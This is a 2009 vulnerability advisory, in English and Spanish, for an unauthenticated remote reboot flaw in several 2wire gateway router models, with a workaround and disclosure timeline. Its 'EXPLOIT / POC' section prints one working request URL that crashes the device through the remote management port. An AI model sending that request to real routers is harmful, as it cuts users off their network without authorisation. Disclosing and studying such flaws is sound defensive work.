========================================
2WIRE REMOTE DENIAL OF SERVICE
========================================
Device: 2wire Gateway Router/Modem
Vulnerable Software: =< 5.29.52
Vulnerable Models: 1700HG
1701HG
1800HW
2071
2700HG
2701HG-T
Release Date: 2009-10-29
Last Update: 2009-09
Critical: Moderately critical
Impact: Denial of service
Remote router reboot
Where: From remote
In the remote management interface
Solution Status: Vendor issued firmware patches
Providers are in charge of applying the patches
WebVuln Advisory: 1-003
BACKGROUND
=======================
The remote management interface of some 2wire modems is enabled by
default.
This interface runs over SSL on port 50001 with an untrusted issuer
certificate.
++Español
Algunos módems 2wire tienen la interfaz remota habilitada por default.
La interfaz utiliza SSL con un certificado invalido en el puerto 50001.
DESCRIPTION
=======================
Some 2wire modems are vulnerable to a remote denial of service attack.
By requesting a special url from the Remote Management interface, an
unathenticated
user can remotely reboot the complete device.
++
Algunos módems 2wire son vulnerables a un ataque de denegación de
servicio.
Un usuario no autenticado puede reiniciar el dispositivo enviando una
petición a
la interfaz de Administración remota.
EXPLOIT / POC
=======================
https://<remoteIP>:50001/xslt?page=%0d%0a
WORKAROUND
=======================
Disable Remote Management in Firewall -> Advanced Settings.
++
Deshabilitar Administración remota en Cortafuegos -> Configuración
avanzada
DISCLOSURE TIMELINE
=======================
2009/09/06 - Vulnerability discovered
2009/09/08 - Vendor contacted
=======================
h k m
h...@hakim.ws
http://www.hakim.ws
http://www.webvuln.com/
=======================
Greets:
preth00nker, DromoroK, mr.ebola, Javier, d0ct0r_4rz0v1zp0, c...@vez, fito,
HL, Xianur0, p...@fes0r X, Daemon, us3r.
REFERENCES
=======================
Preth00nker's exploit (LAN) - http://www.milw0rm.com/exploits/2246
2Wire Gateways CRLF DoS (from local network) -
http://secunia.com/advisories/21583
Hakim.Ws - http://www.hakim.ws
WebVuln - http://www.webvuln.com
2009-09 - WebVuln - http://www.webvuln.com
